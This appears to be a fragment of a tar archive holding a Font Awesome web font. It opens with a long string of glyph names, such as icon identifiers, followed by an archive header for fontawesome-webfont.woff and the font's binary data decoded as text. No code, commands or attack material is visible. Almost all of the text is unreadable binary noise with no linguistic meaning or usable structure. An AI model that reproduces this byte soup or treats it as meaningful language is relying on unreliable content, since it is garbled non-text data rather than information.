light_bulbexchangecloud_download cloud_uploaduser_md stethoscopesuitcasebell_altcoffeefood file_text_altbuildinghospital ambulancemedkit fighter_jetbeerh_signf0fedouble_angle_leftdouble_angle_rightdouble_angle_updouble_angle_down angle_left angle_rightangle_up angle_downdesktoplaptoptablet mobile_phone circle_blank quote_left quote_rightspinnercirclereply github_altfolder_close_altfolder_open_alt expand_alt collapse_altsmilefrownmehgamepadkeyboardflag_altflag_checkeredterminalcode reply_allstar_half_emptylocation_arrowcrop code_forkunlink_279 exclamation superscript subscript_283 puzzle_piece microphonemicrophone_offshieldcalendar_emptyfire_extinguisherrocketmaxcdnchevron_sign_leftchevron_sign_rightchevron_sign_upchevron_sign_downhtml5css3anchor unlock_altbullseyeellipsis_horizontalellipsis_vertical_303 play_signticketminus_sign_alt check_minuslevel_up level_down check_sign edit_sign_312 share_signcompasscollapse collapse_top_317eurgbpusdinrjpyrubkrwbtcfile file_textsort_by_alphabet_329sort_by_attributessort_by_attributes_alt sort_by_ordersort_by_order_alt_334_335 youtube_signyoutubexing xing_sign youtube_playdropbox stackexchange instagramflickradnf171bitbucket_signtumblr tumblr_signlong_arrow_down long_arrow_uplong_arrow_leftlong_arrow_rightwindowsandroidlinuxdribbleskype foursquaretrellofemalemalegittipsun_366archivebugvkweiborenren_372stack_exchange_374arrow_circle_alt_left_376dot_circle_alt_378 vimeo_square_380 plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EE=O<01hpublic/assets/fonts/font-awesome/fonts/fontawesome-webfont.woff000060400000277350151724235760021114 0ustar00wOFF~ FFTM0kGGDEFL OS/2l>`2z@cmapi :gaspglyf _yLMheadb36-hheab$ hmtxb Eylocae \maxpl ,namemD㗋posto`u=O<01hxc`d``b `b`d`d:$Y< xc`fdbʢb l |6F0#Fnx͒Jqgje>"D>{EO >,"u^[[[jos_M%:0g80B.Lszðפ 1YlKWvest)Mk^Zֵ֪m׉Θbk̳26>'YҖjukZۺgm2 (4-iEkЖv}XB Y``c9ZJV5eY߆6G ΂`3| 6[uIpn-[pL0Lp;׸%8o>F8 G8`Wί"E^_=(K,FK+ybx TՕ0o}{uuuwUWիnnjmz-nvEEAAJ!*(hD2c%FʦEbb6$&7߹UUW7 tw{98m8bI ڃ݌7 SEG!3j㔐=w;P^IA;RRnkLS.)o8G([)9O,,AtS h yujZupPGxN on{ho2AD-r]u5e^dMX8=r5ͻ^Q\~2V0 o0kC qA跍 G< 9v`|NXWI:"'aW޺O=}k#"7e %Vs~-y$ŵXw&'q.n.EK#JDڝn봽7=|wL:Ӎ2vmrRv:=0P@DۓVZ7eOd7HMSY|[of'BL}ƷҗV^+{W=uҤ֦='j,| ;vAo=0q8"I³8yZ6Ǵo9q< i3k1%& uk {H}@΁W—^qԷ4;gg7Ny/ qPOЌL4q,ԇ"Sv=jL /UjC-woȍnj̮{j\ vEk z>pn=^=ajID(෠quF;э5֮s7 ;QC7U[׈yZIۘػ*!$ dⵄŖ-ˇ?{mf6po~mԽwoG6Moza--m#]?]?Vkzܥܵ.>)9NH%&T/ _IAxOB]8(.v)G=HPSUP>fFE-GGs|'?~zI*R|[` -V'ݙGP3b'\RI̞#n;W ٟDTѹb80^s6,rȥ ism15kk,}qWȝ;tseYqqC/0q|> 3W/ըsF"sIoAHI 8C„ w~@ _(]h=r9p! ;H-[Ifw;%=d꯵bmH)k=o\hEi 7i:-!mn:`[G]GE,;syH62ƈs՗:I@^\wOVõ<g?]Y{?qKgH[X&tdn[,Z!H6#=nݳ;OWUG4]]6ٰp7[aM5PB]?4P呂7o\!׺ߜؤ 2>8/p2h@k~ھB~a[r=Pr8SescF ӗ S#P|0z'zS)8aFBFE VrJ(EfDpU\'h4P jd3}CvfM}Zlf,.pj1tYj2lƗ,U<:zt[%Y!1vMfrc:_n"7zwvm zuidtO.3Ku =.#Cjn(,THu_Z 6qhhP4#JH%jt3M)#zzdt1Dn~9/ȋB@NV?p'r f: ;bBQHb$h3CG|#v2ydm)esvw~٬fp~DG r 0^XzˣՇcl& \`\8HHa IC?6:5H;lވ4C&\FjԬ,|MCݔ/f8ܮ2 .ҍl _/AkTVΝg ~T΂<`2Q&;XAW@@gj{j, suuE ֟:A 8,&ռ }|b0lFQ$px=4ddm7nru"N:O u^x@񝂍CG*%F>Tm?2.opˮ1r\T١K+L؜cn:8qyN\Dvj[ܦDy/*=H [0l8=`Dd&76tOd٧,崅v2+׷ TU[NHN8W|fG{ܘlT_Z1 8j `Ar㼌` h *b #ռBj0s$n^7w $Gɡ;N .A>3;My?zpͥΙ4aqp҃GFw|]֯!ؾbvq8e+)h.,U~4]h.P4s)+kqD2uϸuE3 V⭯ҟfS8/D]5ޖ*xWGj}l&klnçiPv'6#(%)>qEo6U+6ŋ8ۢlޏ> `Mn''zB-t/ꬱ3ik3 55Z 1ao|+ őm 0$YəOa1ag9up9Gת+b=H߀Q1hT]ҒQ^?s9ػ lB|4TNYBL, g#5A㉐=!7~=/X]WuwZW避[ꞞWd==Bm®ҏ΋v?$ E# L!7ط!TRRI4)H#l*:#H.)pӇ źRMB=ƅ(ǂ͵˥>A,_2%5pyn6/Mbt,L֮l+9QGb]*D; {PZ!*U1|s{"3\gGχyG:-nQg7`ԏ3xAx%ÏUXMZ&HX9>osGa '!lü|EW-ebbxsY06E>)VH ߰}V=G~Ykh/;ۇ0{4.c\h`5 FA5Tg[4#So3yuy=<'j{ hNk6 @1c/5 -T:`YX]g~ilp!e>1x06?eoAsb̪fyb3@B߂Yq?;m)h4skP UfW62c>8F(t*GC ym srp? ICY:ϻ&͜99TY-k%)@|FFh9*(RtKǻTXM-IP.%C"?,+ˆ= >tUgQWw#Υ7 ݋[P ޮ'j7 7̗9ZI SO4YkDE͂B~`Ig;mu֢zSg)rE܉=mK9ZD]4~7߉R6Hۂ(ji!BldpӜ^zz拾gF:qꢝkWl/СuX2rTsBנͫڂt}}ƶ_5 k4 A;oHLϹ)z.quAzyxjk5F-@lҙcڗҗ\6= O]9/5ڔ볝\tOCT3f(i ]w PiQwγ=JߌvGޮy[[,Et&QocÂyb66kMK|֋$Yz%P(^87DrK`%5.: Ďx=mnًm]Ю&2G(-@Q7xu3%@p~нt S]=)AG AVg; *=$mz -|_EZˢk<5U5fFIj`=H})0~F,"N6k"}ṒkT"$mZPc',ϛtzՅ];+j +NG>K#h-zp6\;yb~9.m \=qrqü=fS 6u(؍3#0  :Nz{SM]"`R .Cr`-U{낍znq tx ic+Ԛ:3Y㳙N*aVP `1Qb@fc^X9̼ܶjtҜY ӂhھ3 ijs+\8Tvi|Q< v߹c81-t\16GInJ:̇hX Gr+4Hjv4l!,cC54{ٱ4dR~p*;9nC%d}dA 4Q8iOi TgdulUSAq$.j6U;MǶۏێۏj9JDvAFbmLOI=`jf:>IǁJ! 6Txưqn̓S9ĀM|!ґ8X)hͅͳ(,ӌ2+lD3Qɕp$`Pt[ DV2opo%xZ)n:p4N)F ՆtT7Mu`8P*r >(O^tXi(M4! t(>hcU<@ܦç$M'(J׳Q܃<8Vjj7P?Ͼ;_!Q.h|:B)Ӓxܘs_d9aN=.WO.\|_O&tk.".Dp53͓ 6`8IuKjk/wiUSusUlr ̥;ѠMe`TB&n¦\ g2pd[0Ovz I'm%41}@€:įZ/r @1m8_.WRlv(F5Aս~]*@Qؿ VgM܊:MʞQZ㖵. HfJwKIA\f7zl}5VzG Ɛ u̻vߋaɰZ(S6W z7ek[j #6[6iSڣn@d`[}i]<{bN&kG[Q`Ek$|'GOR4: yX1dhz3TʷL-3DG%Z b锥3I陌R^cy,3P!@ieNq좀FS'}@4шÏ~*T(PY+=!?}>Ю+w*3Usƽ i[9a\uWeY5 +,iK\ʚe<zKC&Hdbktݩ7!;BTR@J vKU8bUH^Q;Okb%[QHO 9谉0r0}U>ʔV5^ܵ}ecFmۈrqLEl "I5ڦfU2cW+O, MJ񝁧6y?*0&Nݚxq?)>e( @qTVx>sjAi2W@WU{LГK^ A'96&E[ h8J*X>wyW+Vc*YP!3 ^ %"`ɒRcD@2ܵG5gL6}*Xl틵\"*p9B4MzA65L.2k,0^>G@@Hty Z4iepWtAh,8<{9ȽǷƶwZOYE< Z)t#/崐\F7ʔB>(&6ldit/=n>?&s]@Ν0Z.3Ĥ9MG6XIJHXa:C}3 6~>D3UO>[vZ_}סqN!ʃ -W S Ha)Y'lg8=`z(bwvi:2E!`;x,Y ߩ =Іj^ǻQ^_Yy`Q[&aYQ us0{&m胑*j)TC$ YQ>*P}H˥_7!n?Vا(sOGRBXbG/*󨴉bE("lrʔ$ΫdJwGp6 P/#j mtCR0}Bj̣RXvI>(j=:ECtV:O[h[5"uE3W. f[eܫ8P)e 0Rԁd.ُ:~}t<)/Q cOBGGp<"-G-b΢y3b#5RPCk{d˚ ح6d]LdLu鋶 LCzӮIYs;A@*nyڢKˏɩEWeMâx[*u -zҗrizH> 2$ =_j7{!h7Ύ|pfs%9LAQ,2WH(EEug&/ $̃cm$0^(K_ C]Di+/TRhOJ?Nޛ j; 쁳#ISm0Q4WՏ5_fd "0ԏ ~D}R'k GK1(_/TFȤ8>Q8m.mstÁ-`wZaxx";ͯ2o2:h*4X-hW3snP,ɞ "ޗ`7Nw8ɐD\ (,f鄝 IM|؟նkÿl5nv xL/LM}ݻ/Еum.umd>Nh&kԵ-h# +qs}v.L8c|P=/2,T,\fxP!:*}uLvyj{C [ ^܋lV͛CZk9~_+2_ʗ7%\~NVw|:$^fH-œl6[DniD>=}4b=U{xCu:6ݨ18=Z%ܓ&?i*V߻"z,K=,5keb PÒ}aM)dŐ".Aǝ2AnK% %7; QΤx9: J's9:(w̿sltWN~+lAڏm[w77n\W<9-N߹ti?";iw[;LvP2zrgkcl;#E*b8*<~h!:Q@qӼek/#@wꪫ' r*2_2mppm"Oގ:wFgRۜ{zh?U_3m3ؾ)[_./d jG̨.+{7g|6w6؟>d5;{O"-<+jaW22pWagy6&BhI2%1S*[ϤF۷%nwT QĶ!=00!dP$Oj!%l6bd[6,6`^Hfɖ3V ߶[8|\MQ lƜYxj?KO3ٲ%))JrGƼQ̼)2c"^–;@Y5u!'hVGTi M9#(ן<4s{@efQ`Gy 8L"KB3+fOx_c`= C@d-TOj+Jw]f1򉠦J -L[,Əvu&}z)AԫyzX߶"MWwP-蒺Mrk 44LZvɎiZcKU/Nja,a !"Y<]K-{S &,- l5V(DSJZU+6UԤ)jȀMXju5xkOxkCf>v;oĂu)O[H%rJrZNCQn?|x_B*kgYn3:B4WͤuQ.RMF2>8G3J<ZŠrVŗY~P9w;< +iչ+5DDhp,;ʹjfƼ=䵫9 3Ƒ,@('h:Ƌ&mTkPq8󨴱!ä.#Q{== 4V#mx _)IfC#yFN uQRPQyQ u:]g*OU֧c'PfՅԭںo>x,uP^"yXdci+Y_'z6~(+q$U;{S<^xGn}ouvXt%&3`.:gA'%O0j@Ew:мjdqge4c&ūY3]*tI* r6% &AR^3$p,a2GÇ}O>W476Ոn7[YNqOecu/=cm:&4Co<}iAO6ăNYm:̲f3J"MK:Ek:e-O7 6;kh}x?1/\g^y}7|4q'7o^ o.Uξ&d5v 3_P MpĹVjlU  a^vqǹ܈\?虽쪰:Oob2AL29zXvQ VUq^k%@$Ǡ#o}TscFW}$yF$y^2:l4/maԽ&oL3ѤNIq!#ĺ~N>0=ٞbDAw Oh CTѡ ֩FI.M#Œ3ze{EvceR] ecsERn`{ahZ]'3W0vIxV[mQ8f64Sc%WrF.aR6aLv0n=,L ZBU\]aJXL7e銛 ljQƀcHj\}MGޛ [X@"WdNS<+#(;<"w~omyL'DpEbY?~{{,o,RD(JbC>ܶ_dՇwffsܦk3ގ&~L =$&Cyd"le؄ tQRʉ@*΋7JՄpC#5-Vgo !Gi 4&NpOo޴խ9k'y=JS4/;٬vY3MiB< (Yuv<9_m@|zU _<';^;#b})Kywno%6,i7-+v(k6ic"Ym=t#WRTmR[nafʭklW޼(IdrUU5=^Dfj}-:$rp( %\x+>wW؄ Ou gq/,W:˺/Ɏ+ y+&Lo) @[@exbiu;:Ykw[50x:rsS&_Xxf[bT:7ak}Yx<5r'(>q-proɴ2HU&I-Kmhɠ\YFY`|fM0]63Bw5%#'iH(8[*k.Etc&aNmVJQKTMbX4?#4c왓Q,<v5?J [Js'ڛiӒӇC>䶵hMz__m27b2HC' j ,JN؋ LuqMZW7'./^L^DL%S n4:OW^of߷Rпlq{\PȖ叙y4*xBav kx@͗qY’.3HQF|:rƔ9`P_SRL 6b|jAn~<DN"u0Q\ Wuާfn6oH玤N N'S;)̓vGvejOXJUPsps<׷4}am}SjTYCheubm20~t'r3:_H7M笜YrN:1!-z\MaP}l&pq6*_UYIG~O_KU8FT{t( av"CBf_F;QnqӳB$MU*rg,^GD,IH:7FD Jlk6c']u;& FbFiB"&͙MykUP\M]J~qZ JP$5K?1/,# K:I)DoY:Mg!'S$M }ÊN~$Ū3wm6]r׊sO^ ll 6H{RvBoLg(iZhVd˂]w!r<3H/7CyYN9Y@LceY֖Y $rz2dk`8v1gI1"0k~,c$ tyh2 ^/sv骩m{ TUM~{WÏɿmkUٹ?΅s4a:ZDg;@Vם4`gلw]x/goLvw'vڟڔyK<+Ǟ~NF=ΐ7.'hٖ}t)vSK4Yԉs]kWN-ЯK`~kR-^"9BF%`%5S'$^\o;NKM#_5yr֖ jKgMdn7Y n NlݮmGYN̂09E&WKbK|ĸJﱵWr{ݷkQcZ\2R؛Oۡ_h]Ըy&܈V;~M/׭n߮>_[./m2A qJ{ >L M8Af]'vHTUOμŃ̚u\eAb~u:ynwݥIٸ$j[QV*b 聇nEC*ZɭEo?҃&k=t#=KTrfWQjJN^yٔQW/Oo^rrj;NM4I`0wϚ _ߜ !Iouz#3tzi kjmfL'k ^9uDћVnǼ^߲rn_CSC "6Gi1#W0=p']@8z}Q/ F"̒ &=lFwdF3v1FuDFYV'F`.bNu䡁 Vl|I׀ɷ*~)Z*!+uQvCM/vԂ.qcYs, wDiN6 YrLU߲[crcq5)V!c031;B0ތeG͝UaVNUe (;;|d;_TA"?/}Mi ;]wt7WY㰛nNgh7EB7_RE=SxV5P sm`ržYazRat k_F= dVٿgCj߇%T}[n.Z$Uq:ۛ*<ggnGh (U?.b=Ђ z3ek 4 v^QVJRT+N1Ey D;YC+dNA݇n$9MAyhpJ=^蹭%[ҫ{\r8L^Rڠg8ޥ~ad8U=gP'1.#l =ΑѬzR6np~[EfnG+y|:fE˻~E׶Mʟ]f}jE3qMOϚ{d?]uU?#/;s~򹃫ؚǀK-6B'闘̵Lgcg&=G' }S唩VCIsyRCM)rd7&UC͝w4Nsca7fl]tTwݵFè4ou֍2B>#o7(J~jE(EM-P3/rQQ@Wヌ(QUm)!sG7ꜜZ4 …U lڟpd:Cce's2E;u*'$]" c4} vzyDzɨn4bTF.b4R#P*~6tjtŋdۥy1 W!ןD}glْW_A4R/u|]P Ǯ~:t[94{-.ǀyA0 x6-NMvM$c50ghQ61BnW_us;BEg}\"\aQ=#ͧվv1ŊSY(R.i[9 JdQӜ< 0@BNya)j0Vh2쬄sOeP5>I~1!-A8agjNq^76e/쾇ݳRuԢZ&UEJlpYo<2"_:979f阎.! hI4 RkCjGBu +btQPu/ А1TZ5V:+zp8jy\ST!zru8Y۸$ՅFuFY Tj +[kj`GŦ+yl֦Y닍4R,+h")=U>yV˕!V]Z8G_ jW pH ֬Q6P8=wQ9]W809{z$5p+҃D%ꔒ-R`5CbJihEI@xQ@-Jhnא!7#םY ѣX2MnƔi&#ix2nB~#}2n)Ͱ.woB( Yk"5nG PTF;NQ@(奣$%l7Q?lRPfB!wҤJƝaîGٍJ vKgWOӬL_$ta[!i&M>JLBfR% ۣ6!o "$,J{l2"Qo#BQ'!"# H:. o <9*a$ <1ʔ/- ᪠(J&$ f^o ћ}6,+7 g2.;H\Ұf,-JǒEw\Bwjǎ>fM..klDj.Xv}mW\:5֔jKضV3BS$l&ijDYdIO~q!rW)\3 H.iT2R ˔D'i>-(*Qoc$`g#Aꆘ0ߨn7.>x;w,yc?Ơ36I61q ($,Njwܴtr(yh2l{s\p@ 5H?]JHʽgIhhh{ ef zUs|+DWxst -}"<;p> #?X;$}upȖow/&ν'dޒM-3g֛떤$yIEuR ;5ItБfb{g-:6ާ>k0ڹQs.A,1xBU\tBBA= )~3.{ҍPa~OBP:sQS=:Ufs1KɗM @PsygQ')_@\l`|N16fpp3,Y,wZ1~טOnoy'ǗlfCW?Ot=Kz (UQCdPn.<=y]Sd2KZu{d^&P^ qhEAakFQ7><~̈^=QbyAsX Gr9Aժ` ΕMʆ돱, ,)4KݑYZ?0Jd\;|h~ki?ev宰Kv2)i9Jcj~Uivo V޴ʍX~eCkˆƆKڰZn߹ZXkon퀭:h7ΤG+Ș}I]Sfn"u!`*ئ(E3 M N4jnRXMGs/MtbRS{i+-v aJu3Z/WS9ZK]>Ɵյ68N^~i>v$$&x;ό/nTu _pdR7#ƌ]Kqk^:J1)Ǥ5$2 ;ʗ$X[Z(ޜhJ7*%2E叙#zg{hLK,M#ǤOkdւ nnVZĦپ[ȷkV%ʂ:@S>Զ}S~.vm[kl&żVLsHuvM[2/z9ն.S<#y\6 nGfmȬ@xʃEӻeiwXDv [#:bL_hkm[-NٌEZ~emM%Y뛮%Zbth%:9}6xn.^%,uXF>.1^xoUQO7}\1B,53V̒ׄ'Ōzw67Oi6o_rUqp,1qOi#*n;6F(Ny'+ܣcTq333~xh4[ A=,Oc⋢rx{+=.zfGA=SMϒk߉kѥ1|ug\==j=$rR3, xٰU`B!"LQ Jc@({˯F/43ibM6A >A 0Z( zcdI Q&Z+8LTW& aQ<a"*FS)1^T}uМ5`-q'6nh־ ڻO׬%3<h%rܿe :b VY zlN]6p/oyiOc5xrM{>_ؾv5>9Xruʓ3r0rdet|¶Ld_*5hct,g}Wi\<csp=iv6l۽N8E߹ٿ}aq̈́s+Wߚ DٶD^؉>[DPjq\j3th d[)7rhUW]jiK97 X|/>g],pK4YW_ځ/&-.S0+0:AH4bc7o|~۶FyWub^yV{1 o8S8#(緥~w޹jҢ6ĉ"h0PT u) $`]+E:Eq؎W7jD-7(3uŲ{Ql`Y$OCoɊ= ;h>E3g^tPeNB*ʘ!x % ֙Y}IK %epH ZR ́H+!)ʵ * 1B1ˬB`> &)ç & ),~)|H}ؚ"odA[aO:)禓GwLr(yļCgQ#[UN84~c!yzݰҔZ3;zss.FMؾ1 FSI`A 4QByE軼a"OiPSbnByḰXKG`SVЍC/|WM߫ʪkjv! :|uQ(UϜe׷]N#h<;vU{}fjH%X&? Vu~V~j6A'MYvM!GP۹re紳 Dk/s)kq8vI8#x G,c?;_?!syٯ3ηw>w`||tuP~IhhnE/&jy+ٸuTS6ooOoh-Np8ޗU2$u]v$0$ c ߂ST6hBڭw.ci[ҙ-: g*Khq{FA lW?}'MR~<3.([v 'Tgx4JA]ԧ?21:yAc4Qd8`b4Dlu*l.]&' NY ?_EJOG#yn ^TA/UB {dȎU}xX1r_i}~8b*=^]W*s->KdfgQU(s,ZeM\]2)1 $l!?OnG'o~P]h꙾V'E6Fo/q+Zj z*S`OƁ| MUa{o03g}(骪5J8+5OOWU$# +Z J,2Yin>ŖXp 'E!4l񺻜i S(߁TR_ʠ̈́$^ŊMOwޯ,cӊф惞\I`T)&IX3W Sv$Fݸ{e1fHțaw(Q \9u\Ox7NЍ%hۑ\WTT۪˻UmʂjrS-kU-nE*+g]4u,}뮻mfmsMX9UuuUNGQ>+UUG7O(YA!9ې#I%y\gf6)+{?DC<Ukmb~c|T`ᾮ& >E7"B1;/ ʤA$vBfYtجG_))P@ p7:z3hfa2 :v(^&m胍ɛ7Mi(&+;vv&1S {\ر%W[7mnYm}5qoqQˊc^nBq]dZCG6\i9I/`b}ޥ75!parHٰ) |\n@s؇Ӂfs޿jZV+m#~xd Iq|Y;$`kG^i[يFTX *QlN+xDՑ -ML[J ϧ},i.F,2"BGщ0~IeOÖ[咛o}Ta>ľ/oz>E}ʋ `vz%5QlҥH++l6gSÔ|Bh8ڱt}C_Ꮐ֣*=d[™M{WJfw.a44D o*VVA8sP-Ҟ}A" @"Ȥt0+||E4N Łݓ1 9)*YѶQoP@ J2::b?2Hϴ3Y_nx[b¼Y1-Mҧi.#?\!Бck3Fʷ׌8'חed($lٷYS hC:Sli,ɯ䝂Fi$柌tn_=PpT ;(3V{ID{iEZLI sҢc"3[*8#^NG#c`4cCf4q&E:r@B$=DMRI'04 'yP^?RxS^3Ԡj"!psmhg8G41$G>LxNy8.'RԇG@"LC8S1I.uߣBG?> sj6خ0FƆ{17qDXSJRʳR%FL!sM(~l^0av$.XV]Υt:Jt1"GЏeC7aR.#*fE|[rX\pM[\c3`Z*؇qfPW3f!u61SJrmoXQN[1c_.ʁ 6a<K#QGRs7gc7P߀sޝtos02zr {V{n͕{6>]yTЊX(|'׵h%" ׫{i`./Md!]Ђ[x C9w<XcpKCabP#lmПur8/^W`Mfs (=TA{r \X݃f?8:4gdYc O*EuDmO[, fs 6W X6 b%֢Bۇߕ"l?YkZ&|l !\I8 |`&11P/ IK)){@'ZYhv&g @6` wE&yIIJ9DI=Ab̚|/HuD@& 찇NQz^~y @^,, Q `qq__X(.l{^//T8 c#*bi&OaS l"y$&̲Ds7Pu =j\.Qܑ?҆|rz4ʻ}ǃ ufůsfBQBEv^M94$?8<"<.L3jL(L5FVw߽wpf.p©Mnc^8(Uν>n.Key@{SF׆{`| 737KݒpȕHdQ"p(@dY T cTYK KJ+VOwdC$ZѧtHοn w? &iG, 蛙|шD>yA-@K#Lҗ|sĩi@3@gM/<X6t\_ey̺q*+j/2+&Z=9s{] FlƎp7@Ŭ7G/Ð"^9M4%?}e %Ci*fFii&8{L?pG[mXګ`dl'k&cb5ncd`A0g -X RY< zŽU-̞w' v8 jBXV>גk5`Y TTj,OƧ. fء6;*;ZdNywM" 0ԈKՒ4D=#eLpEH6_-8(uwʫ%S$#0zޓd%NQoc[:@~ƹOqS>P 䬕}Ǐ{"f+wm3;a8Zx 9a>n  f|}XϓѸ?Gc"[yggYQ@z䛒K="aU5v:t op I+' /NAO٠#HzK/ ]^z 1Q80)]h" +_TaU8icm<ǥe}d@ųAc`h9NQS&ݫMXKX~ JЃ͠X)=PԯuM7:u&eVb{u+9denWjdSX 6>A8ozt+$5Fv_iN&,>V2 7>#_f 0ZҬ`>&$+H кeH!oڇևhN+?]¿0Ck~\,?0evgφ cuH`s$%C_V@DbQRUͫYA$|E{Z|uaޡU_CSnn "k ǥESʇ8A 2}桫j >M_dd2/?(Jt5XOwNn r>-|<+> z?=y W~><W䯀\0gj[yc~޷CՀCC<9OE2VnK+gj2*j~y\'oޱL+0+1{iuW7*voܨUjFc=|LƦ~߮e˴P9i̫ˉ~d 9yr }uf**?8?'a"U[/͑zyU@ʙpy=K.۳H+9ې3۽RNgQ l]}g+Dd3E d٠C|="猖D$1K/%cio&5OpFrrre+9Sn*YLID##@ fq 패a#'b}=I\̮' Zh|,=:=(T")F`EEVj,Q|FQ_/a| 2rKbIxX^bI&$Jt2(i]NEWؗ,ޥxVcmpF&+a) z؇d=>>1F_9=!~S`;{L|cpn|U^;-.߄m";aX(Ȑ1|YYz_-^U{3u!C+Hn9d>)Ȯ˵UIͧ@E$*}*~ V9_XAW6Я5DT@BlEM+Քd0X v mRfFu%Tc^*-q)tS9岠G)AojYJ}A8I}JJer(Z`Y~IrXimf)~U(0$(@z)p_\zvOw^9;]WU 5c(? z?ܶg'hNrG]ua!z"!`4yp A72E{\ G9 T2 ftBIQ WsxnRP> #G\(:4QSR 7~F9r@ :bQ&eP3RNZD%&J ~2{@1HrX/SV18cYϷw5m4y /T4"9 |O"u(M(֍nb.e1"r% ӆڠgt }*ݶ7DHBlg]rt9m72Z.T 6kuuN^=ŒBaF_lcY@2n6J Ea (z6id0[\IoھfЅ<jW}qG9aM\WWr!(^k=sF-멜 jH NQkpè],/?nMb=Zdy׻pQ/{B5T)~ +0cы[pkM[J%~uD.7Jwuw:l{ٻp=[amEeĉuB=\,UX簙ŀb\CӴq 倢#ҤZa͍ta[;OgxlLl {]WlwGO܏z a5xsbV3wgug=N~%8wo%q1c>(G3J&iJtX2E4} {ѯDVV"oN`4~[b1BM%CvL|"0-m}Fq$Y";(:jш-P=4]W im+wԀvZ9Zی|d涋]v8Uzxc]NnSz묝-'<ShC5j<Ҕ {=.t(F~>WZYfu3 i7QKT h2 SF}R&U*0, 61*ap2Հ::A/J\``AI _/qZΤoޒWz]aГ2KV@o/,hZ[8FCwЗ<O~pz7Q3;{aN jiZC1jvWqӰ^@ub w+#!δƮ2_Y~t$ّI)s";gZA IeߔZ=FaV;vkuvfe[ϳ}{XOV `^B5 5յvvNNyJ>)M`h3ͮsw׈sR7mKWlXu8wNYok׬?޲<;Y(6.x&U8ǹՓ9G̯/!?C#Fl ndB]]yu? y;x m/1HB D_A//Q!;tB!Ll 1q]ee%]/+ 8{k:|KVUY3i$ambAl]Vjoinݮr.xIA->9XhJf3UVa1s8ٗ7RmDC1/Th&Dc5[O`LoFE &_ugKy%:jz%!W`׌Ot\hԆMKMgZ" H{<ܲh䂥3BNOsimM6W˂͢oab x+@] &m 6bZؑʩ;G_^W"Z-FE/.[XGe#^eY3,1h@$NE `u:i4jAy : ~% |8@0mLtJ<,a ZZQ x7YfK'_6=iV;h vo8?i;ZWdu.;9 _H@X~w+*&V݄0ƳG3y&|fsGjlO8vN_Z?dy1BK:87+UZf{R[$Ґ&w(T5!=.MdnEk2M =2Mt,uEFq7-_ h᢯!ZESQ=w"6xoגyyQ;aZ@dԋc?ڭ% <%]C^%=Dhtw 2}Og+a9g5ԸA~ij]iXcǴXmŕc- kU¢HQ .aQiӍ.nz ~LC}SPaa#Tf-V5K-=?QUqxl#_X ,U{/~|ijQ?iځuo'?<]~dlp@`KysMI8pj 22 A8_;ͪKpAu|Q__nNg)!(NiU~[^T VmCg-V祯̌$eEz h΁v@bap([Ӣ~^՘)8oy#km>-<n~"5 > `,g0}`O1k(O1FN/2+lESs_*3 - D[H |$>h^zN R % xN!+ސ_SRCAp4Xetf+XO\7뮋/FähZ, :oEJRb[ hX`l @6)?llGz0=,El#;BcY[7?6s>9=1, ?䟃"zs`<h\Ȥ?,/gyLIhkh6ҋ;^ ׮}|GioH'anCҧvѻKNuu9/ mBrhSڱtb9y97e4O1 ĺb.yp vY&k[j_8ӟ籺\$%i2NC;q*O<$~J>oIzwm"8#e"L :R4pE\t#)_/9^\-}\_r9*GBpH~}>jƊOf/aAl}ع03wWrKDoSB﹄E;N#iQ"H܅ :33#^bZ=.* t7 /lN3/]#ԊYod/2'a-ra|ƙpg+}C2ٌ,KKK<]`mfkẔ&ˆ-NZhn;]-_TDךNjڢnNO]eOȽP4]}iCS]I_%VuY[ 4doD:9a*XP} 3FU. !nS`9^ik3XWG sJAyx4͢}}4WNIk{+B6c[z=kKLw|c\k)[#^ '?'xP:̚wkyݺ^tZ&gX^Z<4\kr|UrH`4͇ >pklw*iBU ~u㪗K:_m-\bl@jGC1`Y*IbQԟ X=G,=i[:[Y3 fȏgY\.۸EC铞|; FS[Z|QЁ> Y`-tSkESI]Sq ` k:/mդ7);psk~&*.(O^ްoPTQ1j}l~e6w댂NèZU@NfIbb0SB4TVq5H `9;Xed$i8p3!3@7f%St3w(7f*ojB(%&4H x*LTB<qJ7;xĒB1u9hԏ0P7@š!Ov)c?pY"h#^ކV!ю@JI+h Xjȏ3n AVpZC/LU:4qaEaa. `M18@ a)p#`DIqhފո>IP!`6N$Or[FY-aMz-JRƤsjh642@ =?4 yioO.6&@ƪ8 g/"*,vh_.@ku-X+v& N8,s{YkUCӂv#tᬘVf(:fi 46/9-ehtGS&T#h*zDlB J@]BZGzղ2Q\g9Fc6i, 2FV;䝎+ ( S@VL)ݛ%NV 